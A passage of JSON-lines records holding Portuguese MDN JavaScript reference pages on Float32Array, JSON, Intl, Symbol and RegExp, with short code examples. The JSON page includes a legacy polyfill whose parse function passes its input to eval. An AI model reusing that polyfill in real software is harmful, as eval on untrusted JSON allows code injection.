é **somente leitura**.\n\n`Float32Array.prototype.byteOffset` (en-US) Somente leitura \n\nRetorna o deslocamento (em bytes) da Array `Float32Array` do começo de seu `ArrayBuffer`. Fixado na hora de sua construção e é **somente leitura**.\n\n`Float32Array.prototype.length` (en-US) Somente leitura \n\nRetorna o número de elementos na Array `Float32Array` do começo de seu `ArrayBuffer`. Fixado na hora de sua construção e é **somente leitura**.\n\n### Métodos\n\n`Float32Array.prototype.copyWithin()` (en-US)\n\nCopia a sequência dos elementos dentro da Array. Veja também `Array.prototype.copyWithin()`.\n\n`Float32Array.prototype.entries()` (en-US)\n\nRetorna um novo objeto `Array Iterator` que contém os pares chave/valor para cada índex na array. Veja também `Array.prototype.entries()`.\n\n`Float32Array.prototype.every()` (en-US)\n\nTesta quando todos os elementos na array passam no teste proveniente de uma função. Veja também `Array.prototype.every()`.\n\n`Float32Array.prototype.fill()` (en-US)\n\nPreenche todos os elementos de uma array do índex inicial ao índex final com um valor estático. Veja também `Array.prototype.fill()`.\n\n`Float32Array.prototype.filter()` (en-US)\n\nCria uma nova array com todos os elementos dessa array para a função de filtragem que retornar `true`. Veja também `Array.prototype.filter()`.\n\n`Float32Array.prototype.find()` (en-US)\n\nRetorna o valor na array encontrado, se um elemento na array satizfaz o teste proveniente de uma função de teste ou `undefined` se não for encontrado. Veja também `Array.prototype.find()`.\n\n`Float32Array.prototype.findIndex()` (en-US)\n\nRetorna o index encontrado na array, se um elemento na array satizfaz o teste proveniente de uma função de teste ou -1 se não for encontrado. Veja também `Array.prototype.findIndex()`.\n\n`Float32Array.prototype.forEach()` (en-US)\n\nChama uma função para cada elemento na array. Veja também `Array.prototype.forEach()`.\n\n`Float32Array.prototype.includes()` (en-US) \nExperimental\n\nDetermina quando a array tipada inclui um certo elemento, retornando `true` ou `false` como apropriado. Veja também `Array.prototype.includes()`.\n\n`Float32Array.prototype.indexOf()` (en-US)\n\nRetorna o primeiro (menor) index de um elemento dentro de uma array igual ao valor expecificado, ou -1 se nenhum for encontrado. Veja também `Array.prototype.indexOf()`.\n\n`Float32Array.prototype.join()` (en-US)\n\nJunta todos os elementos de uma array em uma string. Veja também `Array.prototype.join()`.\n\n`Float32Array.prototype.keys()` (en-US)\n\nRetorna um novo `Array Iterator` cujo contem as chaves para cada index na array. Veja também `Array.prototype.keys()`.\n\n`Float32Array.prototype.lastIndexOf()` (en-US)\n\nRetorna o último (maior) índex de um elemento dentro da array igual ao valor especificado, ou -1 se nenhum for encontrado. Veja também `Array.prototype.lastIndexOf()`.\n\n`Float32Array.prototype.map()` (en-US)\n\nCria uma nova array com os resultados da função chamada em cada elemento nesta array. Veja também `Array.prototype.map()`.\n\n`Float32Array.prototype.move()` \nNon-standard\n Unimplemented\n\nVersão antiga não padrão de `Float32Array.prototype.copyWithin()` (en-US).\n\n`Float32Array.prototype.reduce()` (en-US)\n\nAplica uma função contra um acumulador e cada valor na array (da esquerda para a direita) com o intuito de reduzí-la a um único valor. Veja também `Array.prototype.reduce()`.\n\n`Float32Array.prototype.reduceRight()` (en-US)\n\nAplica uma função contra um acumulador e cada valor na array (da direita para a esquerda) como o intuito de reduzí-la a um único valor. See also `Array.prototype.reduceRight()`.\n\n`Float32Array.prototype.reverse()` (en-US)\n\nReverte a ordem se todos os elementos em uma array - o primeiro se torna o último, e o último de torna o primeiro. Veja também `Array.prototype.reverse()`.\n\n`Float32Array.prototype.set()` (en-US)\n\nArmazena múltiplos valores na array tipada, lendo os valores de entrada de uma array especificada.\n\n`Float32Array.prototype.slice()` (en-US)\n\nExtrai uma seção de uma array e retorna uma nova array. Veja também `Array.prototype.slice()`.\n\n`Float32Array.prototype.some()` (en-US)\n\nRetorna true se pelo menos um elemento nesta array satisfazer a função de teste proveniente de uma função de teste. Veja também `Array.prototype.some()`.\n\n`Float32Array.prototype.sort()`\n\nClassifica os elementos de uma array no lugar e retorna a array. Veja também `Array.prototype.sort()`.\n\n`Float32Array.prototype.subarray()` (en-US)\n\nRetorna uma nova Array `Float32Array` a partir de um ponto inicial e um fim pelo índex do elemento.\n\n`Float32Array.prototype.values()` (en-US)\n\nRetorna um novo objeto `Array Iterator` que contém os valores para cada índex na Array. Veja também `Array.prototype.values()`.\n\n`Float32Array.prototype.toLocaleString()` (en-US)\n\nRetorna uma string localizada representando a array e seus elementos. Veja também `Array.prototype.toLocaleString()`.\n\n`Float32Array.prototype.toString()` (en-US)\n\nRetorna uma string representando a array e seus elementos. Veja também `Array.prototype.toString()`.\n\n`Float32Array.prototype[@@iterator]()` (en-US)\n\nRetorna um novo objeto `Array Iterator` que contém os valores para cada índex na Array.\n\nExemplos\n--------\n\nDiferentes modos de criar uma Array `Float32Array`:\n\n\n```js\n// Pelo seu tamanho\nvar float32 = new Float32Array(2);\nfloat32[0] = 42;\nconsole.log(float32[0]); // 42\nconsole.log(float32.length); // 2\nconsole.log(float32.BYTES\\_PER\\_ELEMENT); // 4\n\n// Por uma array\nvar arr = new Float32Array([21, 31]);\nconsole.log(arr[1]); // 31\n\n// Por uma outra TypedArray\nvar x = new Float32Array([21, 31]);\nvar y = new Float32Array(x);\nconsole.log(y[0]); // 21\n\n// Por um ArrayBuffer\nvar buffer = new ArrayBuffer(16);\nvar z = new Float32Array(buffer, 0, 4);\n\n// Por um iterável\nvar iterable = (function\\* () {\n  yield\\* [1, 2, 3];\n})();\nvar float32 = new Float32Array(iterable);\n// Float32Array[1, 2, 3]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # table-49 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas de compatibilidade\n------------------------\n\nComeçando com o ECMAScript 2015, construtores da Array `Float32Array` requerem o uso do operador `new`. Chamando o construtor da Array `Float32Array` como uma função, sem o `new`, irá gerar um erro `TypeError` de agora em diante.\n\n\n```js\nvar dv = Float32Array([1, 2, 3]);\n\n// TypeError: chamando o construtor da função interna Float32Array\n// sem o new é proibido\n```\n\n\n\n```js\nvar dv = new Float32Array([1, 2, 3]);\n```\n\nVeja também\n-----------\n\n* JavaScript arrays tipadas\n* `ArrayBuffer`\n* `DataView`"}
{"title":"JSON - JavaScript","text":"JSON\n====\n\nResumo\n------\n\nO Objeto **`JSON`** contém métodos para parsing JavaScript Object Notation (JSON) e conversão de valores para JSON. Ele não pode ser chamado ou construído e, além de suas propriedades de dois métodos, ele não possui uma funcionalidade interessante.\n\nDescrição\n---------\n\n### JavaScript Object Notation\n\nJSON é uma sintaxe para serialização de objetos, matrizes, números, strings, booleanos, e `null`. Baseia-se em sintaxe Javascript, mas é distinta desta: alguns Javascript não são JSON, e alguns JSON não são Javascript.\n\n| JavaScript tipo | JSON diferenças |\n| --- | --- |\n| Objetos e Arrays | Os nomes das propriedades devem ser strings com aspas duplas; as vírgulas à direita são proibidas. |\n| Números | Zeros à esquerda são proibidos; um ponto decimal deve ser seguido por pelo menos um dígito. |\n| Strings | Apenas um conjunto limitado de caracteres pode ser escapado; certos caracteres de controle são proibidos; o separador de linha Unicode (U+2028) e o separador de parágrafo (U+2029) caracteres são permitidos; strings devem ter aspas duplas.Veja o exemplo a seguir, onde `JSON.parse()` funciona bem e um `SyntaxError` (en-US) é lançado ao avaliar o código como JavaScript: var code = '\"\\u2028\\u2029\"'; JSON.parse(code); // works fine eval(code); // fails |\n\nA sintaxe completa do JSON é a seguinte:\n```\n\nJSON = null\n    or true or false\n    or JSONNumber\n    or JSONString\n    or JSONObject\n    or JSONArray\n\nJSONNumber = - PositiveNumber\n          or PositiveNumber\nPositiveNumber = DecimalNumber\n              or DecimalNumber . Digits\n              or DecimalNumber . Digits ExponentPart\n              or DecimalNumber ExponentPart\nDecimalNumber = 0\n             or OneToNine Digits\nExponentPart = e Exponent\n            or E Exponent\nExponent = Digits\n        or + Digits\n        or - Digits\nDigits = Digit\n      or Digits Digit\nDigit = 0 through 9\nOneToNine = 1 through 9\n\nJSONString = \"\"\n          or \" StringCharacters \"\nStringCharacters = StringCharacter\n                or StringCharacters StringCharacter\nStringCharacter = any character\n                  except \" or \\ or U+0000 through U+001F\n               or EscapeSequence\nEscapeSequence = \\\" or \\/ or \\\\ or \\b or \\f or \\n or \\r or \\t\n              or \\u HexDigit HexDigit HexDigit HexDigit\nHexDigit = 0 through 9\n        or A through F\n        or a through f\n\nJSONObject = { }\n          or { Members }\nMembers = JSONString : JSON\n       or Members , JSONString : JSON\n\nJSONArray = [ ]\n         or [ ArrayElements ]\nArrayElements = JSON\n             or ArrayElements , JSON\n```\n\n\nEspaços em branco podem estar presentes em qualquer lugar, exceto dentro de um JSONNumber (números não devem conter espaço em branco) ou JSONString (onde ele é interpretado como o caractere correspondente na string, ou causaria um erro). O caractere de tabulação (U+0009), retorno de carro (U+000D), retorno de linha (U+000A), e espaço (U+0020) são os únicos caracteres em branco válidos.\n\nMétodos\n-------\n\n`JSON.parse()`\n\nAnalisar uma seqüência como JSON, opcionalmente transformar o valor produzido e suas propriedades, e retornar o valor.\n\n`JSON.stringify()`\n\nRetorna uma string JSON correspondente ao valor especificado, opcionalmente, pode incluir apenas determinados propriedades ou substituir valores de propriedade de acordo com a definição feita pelo usuário.\n\nPolyfill\n--------\n\nO objeto JSON não é suportado em navegadores mais antigos. Você pode contornar este problema inserindo o seguinte código no início de seus scripts, permitindo o uso de JSON e navegadores sem suporte (como Internet Explorer 6).\n\nO algoritmo a seguir é uma imitação do objeto nativo JSON:\n\n\n```js\nif (!window.JSON) {\n  window.JSON = {\n    parse: function (sJSON) {\n      return eval(\"(\" + sJSON + \")\");\n    },\n    stringify: (function () {\n      var toString = Object.prototype.toString;\n      var isArray =\n        Array.isArray ||\n        function (a) {\n          return toString.call(a) === \"[object Array]\";\n        };\n      var escMap = {\n        '\"': '\\\\\"',\n        \"\\\\\": \"\\\\\\\\\",\n        \"\\b\": \"\\\\b\",\n        \"\\f\": \"\\\\f\",\n        \"\\n\": \"\\\\n\",\n        \"\\r\": \"\\\\r\",\n        \"\\t\": \"\\\\t\",\n      };\n      var escFunc = function (m) {\n        return (\n          escMap[m] ||\n          \"\\\\u\" + (m.charCodeAt(0) + 0x10000).toString(16).substr(1)\n        );\n      };\n      var escRE = /[\\\\\"\\u0000-\\u001F\\u2028\\u2029]/g;\n      return function stringify(value) {\n        if (value == null) {\n          return \"null\";\n        } else if (typeof value === \"number\") {\n          return isFinite(value) ? value.toString() : \"null\";\n        } else if (typeof value === \"boolean\") {\n          return value.toString();\n        } else if (typeof value === \"object\") {\n          if (typeof value.toJSON === \"function\") {\n            return stringify(value.toJSON());\n          } else if (isArray(value)) {\n            var res = \"[\";\n            for (var i = 0; i < value.length; i++)\n              res += (i ? \", \" : \"\") + stringify(value[i]);\n            return res + \"]\";\n          } else if (toString.call(value) === \"[object Object]\") {\n            var tmp = [];\n            for (var k in value) {\n              if (value.hasOwnProperty(k))\n                tmp.push(stringify(k) + \": \" + stringify(value[k]));\n            }\n            return \"{\" + tmp.join(\", \") + \"}\";\n          }\n        }\n        return '\"' + value.toString().replace(escRE, escFunc) + '\"';\n      };\n    })(),\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-json-object |\n\nNavegador compatível\n--------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.toJSON()`"}
{"title":"Intl - JavaScript","text":"Intl\n====\n\nO objeto **`Intl`** é o namespace para a API de Internacionalização do ECMAScript , que fornece comparação de string sensível à línguagem, formatação de números, e formatação de data e hora. Os construtores para os objetos `Collator` (en-US), `NumberFormat`, e `DateTimeFormat` (en-US) são propriedades do objecto `Intl`. Esta página documenta essas propriedades, bem como funcionalidades comuns aos construtores de internacionalização e outras funções sensíveis de linguagem.\n\nPropriedades\n------------\n\n`Intl.Collator` (en-US)\n\nConstrutor para *collators*, objetos que permitem comparação de string sensível a linguagem.\n\n`Intl.DateTimeFormat` (en-US)\n\nConstrutor para objetos que permitem formatação de data e hora sensível a linguagem.\n\n`Intl.NumberFormat`\n\nConstrutor para objetos que permitem formatação de número sensível a linguagem.\n\nMétodos\n-------\n\n`Intl.getCanonicalLocales()` (en-US)\n\nRetorna os nomes canônicos de local (ex.: en-US, pt-BR).\n\nIdentificação e negociação de local\n-----------------------------------\n\nOs construtores de internacionalização, assim como diversos métodos de outros construtores que são sensíveis a idioma (listados em Veja também) usam um padrão comum para identificar locais e determinar qual será utilizado: todos aceitam argumentos `locales` e `options` e negociam o(s) local(is) requisitado entre os locais suportados usando um algoritmo especificado na propriedade `options.localeMatcher`.\n\n### Argumento `locales`\n\nO argumento `locales` deve ser uma string contendo uma tag de linguagem BCP 47 ou um array dessas tags. Se o argumento `locales` não for passado ou estiver indefinido, será utilizado o local padrão do runtime.\n\nUma tag de linguagem BCP 47 identifica um idioma ou local (a diferença entre ambos neste caso é difusa). Em sua forma mais comum, ela pode conter, nesta ordem: um código de idioma, um código de escrita e um código de país, todos eparados por hífen. Exemplos:\n\n* `\"hi\"`: Hindi.\n* `\"de-AT\"`: Alemão como usado na Áustria.\n* `\"zh-Hans-CN\"`: Chinês com escrita simplificada como usado na China.\n\nAs subtags identificando idiomas, escritas, países (regiões) e (raramente utilizadas) variantes nas tags de linguagem BCP 47 podem ser consultadas no Registro de Subtags de Linguagem da IANA.\n\nBCP 47 também permite extensões, e uma delas é relevante para as funções JavaScript de internacionalização: a extensão `\"u\"` (Unicode). Ela pode ser utilizada para requisitar uma customização do comportamento específico local de um objeto `Collator` (en-US), `NumberFormat`, ou `DateTimeFormat` (en-US). Exemplos:\n\n* `\"de-DE-u-co-phonebk\"`: Use the phonebook variant of the German sort order, which expands umlauted vowels to character pairs: ä → ae, ö → oe, ü → ue.\n* `\"th-TH-u-nu-thai\"`: Use Thai digits (๐, ๑, ๒, ๓, ๔, ๕, ๖, ๗, ๘, ๙) in number formatting.\n* `\"ja-JP-u-ca-japanese\"`: Use the Japanese calendar in date and time formatting, so that 2013 is expressed as the year 25 of the Heisei period, or 平成 25.\n### Locale negotiation\n\nThe `locales` argument, after stripping off all Unicode extensions, is interpreted as a prioritized request from the application. The runtime compares it against the locales it has available and picks the best one available. Two matching algorithms exist: the `\"lookup\"` matcher follows the Lookup algorithm specified in BCP 47; the `\"best fit\"` matcher lets the runtime provide a locale that's at least, but possibly more, suited for the request than the result of the Lookup algorithm. If the application doesn't provide a `locales` argument, or the runtime doesn't have a locale that matches the request, then the runtime's default locale is used. The matcher can be selected using a property of the `options` argument (see below).\n\nIf the selected language tag had a Unicode extension substring, that extension is now used to customize the constructed object or the behavior of the function. Each constructor or function supports only a subset of the keys defined for the Unicode extension, and the supported values often depend on the language tag. For example, the `\"co\"` key (collation) is only supported by `Collator` (en-US), and its `\"phonebk\"` value is only supported for German.\n\n### `options` argument\n\nThe `options` argument must be an object with properties that vary between constructors and functions. If the `options` argument is not provided or is undefined, default values are used for all properties.\n\nOne property is supported by all language sensitive constructors and functions: The `localeMatcher` property, whose value must be a string `\"lookup\"` or `\"best fit\"` and which selects one of the locale matching algorithms described above.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Internationalization API Specification # intl-object |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Introduction: The ECMAScript Internationalization API\n* Constructors\n    + `Intl.Collator` (en-US)\n    + `Intl.DateTimeFormat` (en-US)\n    + `Intl.NumberFormat`\n* Methods\n    + `String.prototype.localeCompare()`\n    + `Number.prototype.toLocaleString()`\n    + `Date.prototype.toLocaleString()` (en-US)\n    + `Date.prototype.toLocaleDateString()`\n    + `Date.prototype.toLocaleTimeString()`"}
{"title":"Símbolo - JavaScript","text":"Símbolo\n=======\n\nSumário\n-------\n\nA função `Symbol()` retorna um valor do tipo **símbolo (symbol)**, tem propriedades estáticas que expõem vários membros dos objetos nativos, possuem métodos estáticos que expõem o registro de símbolos globais e se parecem com uma classe de objeto nativo, mas estão incompletos como construtor porque não suportam a sintaxe \"`new Symbol()`\".\n\nCada valor símbolo retornado de `Symbol()` é único. Um símbolo pode ser usado como o identificador para propriedades de objetos; esse é o único propósito do tipo de dado. Algumas explicações sobre propósito e uso podem ser encontradas no verbete do glossário para Symbol.\n\nO tipo de dado **símbolo** é um tipo de dado primitivo.\n\nSintaxe\n-------\n```\n\nSymbol([descrição])\n```\n\n### Parâmetros\n\n`descrição` Optional\n\nString opcional. Uma descrição de símbolo no qual pode ser usado para debugar, mas não para acessar o próprio símbolo.\n\nDescrição\n---------\n\nPara criar um novo símbolo primitivo, simplesmente escreva `Symbol()` com uma string opcional para sua descrição:\n\n\n```js\nvar sym1 = Symbol();\nvar sym2 = Symbol(\"foo\");\nvar sym3 = Symbol(\"foo\");\n```\n\n\nO código acima cria três símbolos novos. Note que a função ***Symbol(\"foo\")*** não faz a string ***\"foo\"*** ser um símbolo. Ela cria um novo símbolo a cada vez que é chamada:\n\n\n```js\nSymbol(\"foo\") === Symbol(\"foo\"); // false\n```\n\n\nA sintaxe a seguir com o operador `new` vai resultar em um `TypeError`:\n\n\n```js\nvar sym = new Symbol(); // TypeError\n```\n\n\nIsso evita que os autores criem um objeto empacotador explícito de `Symbol` em vez de um novo valor de símbolo. O que pode surpreender, pois, geralmente é possível criar objetos empacotadores explícitos em torno de tipos de dados primitivos (por exemplo, `new Boolean`, `new String` e `new Number`).\n\nSe você realmente quiser criar um objeto empacotador de `Symbol`, você pode usar a função `Object()`:\n\n\n```js\nvar sym = Symbol(\"foo\");\ntypeof sym; // \"symbol\"\nvar symObj = Object(sym);\ntypeof symObj; // \"object\"\n```\n\n### Símbolos compartilhados no registro global de símbolo\n\nA sintaxe acima usando a função `Symbol()` não criará um símbolo global que estará disponível em todo o seu código. Para criar símbolos disponíveis em vários arquivos em um escopo como se fosse global, use os métodos `Symbol.for()` (en-US) e `Symbol.keyFor()` (en-US) para definir e configurar símbolos no registro global de símbolo.\n\n### Encontrando propriedades de símbolos em objetos\n\nO método `Object.getOwnPropertySymbols()` retorna um array de símbolos e permite que você encontre propriedades de símbolos em um determinado objeto. Observe que cada objeto é inicializado sem suas próprias propriedades de símbolo, de modo que este array estará vazio, a menos que você estabeleça propriedades de símbolo no objeto.\n\nPropriedades\n------------\n\n`Symbol.length`\n\nPropriedade de tamanho cujo valor é 1.\n\n`Symbol.prototype` (en-US)\n\nRepresenta o protótipo do `Symbol` construtor.\n\n### Símbolos conhecidos\n\nEm adição para seus próprios símbolos, JavaScript possui alguns símbolos built-in que representa os comportamentos internos da linguagem que não foram revelados para os desenvolvedores no ECMAScript 5 e anterior. Esses símbolos podem ser acessados usando as seguintes propriedades:\n\nSymbol.hasInstance\n\nEspecificado como @@hasInstance. Um método que determina se um construtor de um objeto é reconhecido como a instância de um objeto. Usado por `instanceof`.\n\nSymbol.isConcatSpreadable\n\nEspecificado como @@isConcatSpreadable. Um valor Booleano indicando se um objeto deve ser adicionado como elemento de uma array. Usado por `Array.prototype.concat()`.\n\nSymbol.isRegExp\n\nEspecificado como @@isRegExp. Um valor Booleano indicando se um objeto pode ser usado como uma expressão regular.\n\nSymbol.iterator\n\nEspecificado como @@iterator. Um método retornando o iterador padrão para um objeto. Usado por `for...of`.\n\nSymbol.toPrimitive\n\nEspecificado como @@toPrimitive. Um método convertendo um objeto para um valor primitivo.\n\nSymbol.toStringTag\n\nEspecificado como @@toStringTag. Um valor string usado para descrição padrão de um objeto. Usado por `Object.prototype.toString()`\n\nSymbol.unscopables\n\nEspecificado como @@unscopables. Uma Array com valores string que são valores propriedade. Esses são excluídos das ligações com o objeto associado.\n\nMétodos\n-------\n\n`Symbol.for(key)` (en-US)\n\nProcura por símbolos existentes com as chaves dada e retorna as chaves se forem encontradas. Caso contrário um novo símbolo será criado no registro de símbolo global com essa chave.\n\n`Symbol.keyFor(sym)` (en-US)\n\nRetorna um símbolo compartilhado do registro global de símbolo para o símbolo dado.\n\n`Symbol` protótipo\n------------------\n\nTodos os símbolos herdados de `Symbol.prototype` (en-US).\n\n### Propriedades\n\n{{page('en-US/Web/JavaScript/Reference/Global\\_Objects/Symbol/prototype','Properties')}}### Métodos\n\n{{page('en-US/Web/JavaScript/Reference/Global\\_Objects/Symbol/prototype','Methods')}}Exemplos\n--------\n\n### Usando o operador `typeof` com símbolos\n\nO operador `typeof` pode ajudar a identificar os símbolos.\n\n\n```js\ntypeof Symbol() === \"symbol\";\ntypeof Symbol(\"foo\") === \"symbol\";\ntypeof Symbol.iterator === \"symbol\";\n```\n\n### Conversões de tipos de símbolos\n\nAlgumas anotações quando trabalhando com conversão de tipo de símbolos.\n\n* Quando estiver tentando converter um símbolo para um número, um `TypeError` será retornado.\n (e.g. `+sym` or `sym | 0`).\n* Quando usando operador de igualdade, `Object(sym) == sym` retorna `true`.\n* `Symbol(\"foo\") + \"bar\"` lança um `TypeError` (não pode converter um símbolo para string). Isso previne você de silenciosamente criar um novo nome de propriedade string a partir de um símbolo, por exemplo.\n* A \"safer\" `String(sym)` conversion funciona como uma chamada para `Symbol.prototype.toString()` (en-US) com símbolos, mas note que uma `new String(sym)` será lançada.\n### Símbolos e `for...in` iteração\n\nSímbolos não são visíveis em `for...in` iterações. Além de, `Object.getOwnPropertyNames()` não retornará propriedades do objeto símbolo, entretanto, você pode fazer uso do `Object.getOwnPropertySymbols()` para conseguir esses resultados.\n\n\n```js\nvar obj = {};\n\nobj[Symbol(\"a\")] = \"a\";\nobj[Symbol.for(\"b\")] = \"b\";\nobj[\"c\"] = \"c\";\nobj.d = \"d\";\n\nfor (var i in obj) {\n  console.log(i); // logs \"c\" and \"d\"\n}\n```\n\n### Símbolos e `JSON.stringify()`\n\nPropriedade com chave de símbolo vão ser completamente ignoradas quando usando `JSON.stringify()`:\n\n\n```js\nJSON.stringify({ [Symbol(\"foo\")]: \"foo\" });\n// '{}'\n```\n\n\nPara mais detalhes, veja `JSON.stringify()`.\n\n### Objeto wrapper de símbolo como chave de propriedade\n\nQuando um objeto wrapper de um símbolo é usado como uma chave de propriedade, esse objeto será coerced para o seu símbolo wrapper:\n\n\n```js\nvar sym = Symbol(\"foo\");\nvar obj = { [sym]: 1 };\nobj[sym]; // 1\nobj[Object(sym)]; // still 1\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Glossary: Symbol data type\n* `typeof`\n* Data types and data structures"}
{"title":"RegExp - JavaScript","text":"RegExp\n======\n\nSumário\n-------\n\nO construtor **`RegExp`** cria um objeto de expressão regular para realizar uma correspondência de texto com um padrão.\n\nPara uma introdução à expressões regulares, leia o capítulo de Expressões Regulares no Guia de JavaScript.\n\nConstrutor\n----------\n\nNotações literais e de construtores são possíveis:\n```\n\n/padrão/flags\nnew RegExp(padrão[, flags])\nRegExp(padrão[, flags])\n```\n\n### Parâmetros\n\n`padrão`\n\nO texto da expressão regular, ou como em ES5, outro objeto RegExp. Os padrões podem incluir caracteres especiais para correspondencia em um intervalo maior de valores do que uma string literal.\n\n`flags`\n\nSe especificado, `flags`indica os marcadores que podem ser adicionados, ou se um objeto é suficiente para o padrão, os valores de flags serão substituidos por qualquer uma das flags de objetos. O valor de `flags`é uma string contendo qualquer combinação dos seguintes valores:\n\n`g`\n\ncorresponder globalmente; acha **todas** as correspondências em vez de parar após achar a primeira\n\n`i`\n\nignorar maiúsc./minúsc.; Se a *flag `u`* estiver ativa, deve ser utilizado o *Unicode case folding*\n\n`m`\n\nmultilinha; trata caracteres de início e fim (^ e $) ao operar sobre múltiplas linhas (ou seja, corresponder o início ou fim de *cada* linha (delimitado por \\n ou \\r), e não apenas o começo ou fim de toda a string de entrada)\n\n`u` \nExperimental\n\nunicode; trata o padrão como uma sequência de código unicode\n\n`y` \nExperimental\n\naderente; corresponde apenas pelo index indicado pela propriedade `lastIndex` dessa expressão regular na string alvo (e não tenta corresponder de qualquer indexes posteriores).\n\n\nDescrição\n---------\n\nHá dois modos de criar um objeto `RegExp`: uma notação literal e um construtor. Para indicar strings, os parâmetros para a notação literal não usam aspas, enquanto os parâmetros para a função do construtor usam. Então, as seguintes expressões criam a mesma expressão regular:\n\n\n```js\n/ab+c/i;\nnew RegExp(\"ab+c\", \"i\");\n```\n\n\nA notação literal compila a expressão regular em tempo de execução. Use a notação literal quando a expressão regular permanecerá constante. Por exemplo, se você usar a notação literal para construir a expressão regular usada em um *loop*, a expressão regular não será recompilada a cada iteração\n\nO construtor do objeto da expressão regular, por exemplo, `new RegExp('ab+c')`, fornece uma compilação em tempo de execução da expressão regular. Use a função construtora quando você sabe que o padrão da expressão regular será mudado, ou você não sabe o padrão e o está recebendo de outra fonte, como uma entrada do usuário.\n\nComeçando com ECMAScript 6, `new RegExp(/ab+c/, 'i')`, deixou de lançar um `TypeError` (\"can't supply flags quando constructing one RegExp from another\") quando o primeiro argumento é um `RegExp` e o segundo argumento `flags` está presente. Uma nova `RegExp` dos argumentos é criada ao invés disso.\n\nQuando se usa a função construtora, as regras de escapar em uma string (preceder caracteres especiais com \\ quando incluídos na string) são necessárias. Por exemplo, as declarações a seguir são equivalentes:\n\n\n```js\nvar re = /\\w+/;\nvar re = new RegExp(\"\\\\w+\");\n```\n\nSignificado dos caracteres especiais nas expressões regulares\n-------------------------------------------------------------\n\n* Classes de Caracteres\n* Conjuntos de Caracteres\n* Limites\n* Agrupamentos e back references\n* Quantificadores\n\n| Classes de Caracteres |\n| --- |\n| Caractere | Significado |\n| `.` | \n (O ponto) corresponde um único caracter qualquer *exceto* os\n caracteres de nova linha: `\\n`, `\\r`,\n `\\u2028` ou `\\u2029`.\n\n\n Note que a flag multilinha `m` não muda o comportamento do\n ponto. Então para corresponder um padrão por múltiplas linhas, o\n conjunto de caracteres `[^]` pode ser usado, que\n corresponderá qualquer caractere, incluindo novas linhas.\n\n\n Por exemplo, `/.y/` corresponde \"my\" e \"ay\", mas não \"yes\",\n em \"yes make my day\".\n  |\n| `\\d` | \n Corresponde um caractere de dígito no alfabeto basic Latin.\n Equivalente `a [0-9]`.\n\n\n Por exemplo, `/\\d/` ou `/[0-9]/` corresponde \"2\"\n em \"B2 é o número da suíte\".\n  |\n| `\\D` | \n Corresponde qualquer caractere que não é um dígito no alfabeto basic\n Latin. Equivalente a `[^0-9]`.\n\n\n Por exemplo, `/\\D/` ou `/[^0-9]/` corresponde\n \"B\" em \"B2 é o suite number\".\n  |\n| `\\w` | \n Corresponde qualquer caractere alfanumérico do alfabeto basic Latin,\n incluindo o underline. Equivalente a `[A-Za-z0-9_]`.\n\n\n Por exemplo, `/\\w/` corresponde \"a\" em \"apple\", \"5\" em\n \"$5.28\", e \"3\" em \"3D\".\n  |\n| `\\W` | \n Corresponde qualquer caractere que não é um alfanumérico do alfabeto\n basic Latin. Equivalente a `[^A-Za-z0-9_]`.\n\n\n Por exemplo, `/\\W/` ou\n `/[^A-Za-z0-9_]/` corresponde \"%\" em \"50%\".\n  |\n| `\\s` | \n Corresponde um único caractere de espaço em branco, incluindo espaço,\n tabulação (tab), quebra de página, nova linha (LF) e outros espaços\n Unicode. Equivalente a\n `[\n\\f\\n\\r\\t\\v\\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000]`.\n\nPor exemplo, `/\\s\\w*/` corresponde \" bar\" em \"foo bar\". |\n| `\\S` | \n Corresponde um único caractere que não seja um espaço em branco.\n Equivalente a\n `[^\n\\f\\n\\r\\t\\v\\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000]`.\n\nPor exemplo, `/\\S\\w*/` corresponde \"foo\" em \"foo bar\". |\n| `\\t` | Corresponde uma tabulação. |\n| `\\r` | Corresponde uma quebra de linha. |\n| `\\n` | Corresponde uma nova linha. |\n| `\\v` | Corresponde uma tabulação vertical. |\n| `\\f` | Corresponde uma quebra de página. |\n| `[\\b]` | Corresponde um caracter backspace. (Não confundir com `\\b`) |\n| `\\0` | Corresponde um caractere NUL. Não coloque outro dígito seguinte a esse. |\n| `\\c*X*` | \n Onde `*X*` é uma letra de A - Z. Corresponde um\n caractere de controle em uma string.\n\nPor exemplo, `/\\cM/` corresponde control-M em uma string. |\n| `\\x*hh*` | \n Corresponde o caractere com o código `*hh*` (dois\n dígitos hexadecimais).\n  |\n| `\\u*hhhh*` | \n Corresponde o caractere com o valor Unicode\n `*hhhh*` (quatro dígitos hexadecimais).\n  |\n| `\\` | \n Para caracteres que são geralmente tratados literalmente, indica que o\n próximo caractere é especial e não deve ser interpretado literalmente.\n\n\n Por exemplo, `/b/` corresponde o caractere \"b\". Colocando\n uma barra invertida antes do \"b\", ou seja, usando `/\\b/`, o\n caractere se torna especial, significando corresponder o limite de uma\n palavra.\n\n*ou*\n\n Para caracteres que são geralmente tratados especialmente, indica que\n o próximo caractere não é especial e deve ser interpretado\n literalmente.\n\n\n Por exemplo, \"\\*\" é um caractere especial que significa 0 ou mais\n ocorrências do caractere precedente devem ser correspondidas; por\n exemplo, `/a*/` significa corresponder 0 ou mais \"a\"s. Para\n corresponder `*` literalmente, preceda-o com uma barra\n invertida; por exemplo, `/a\\*/` corresponde \"a\\*\".\n  |\n| Conjuntos de Caracteres |\n| --- |\n| Caractere | Significado |\n| `[xyz]` | \n Um 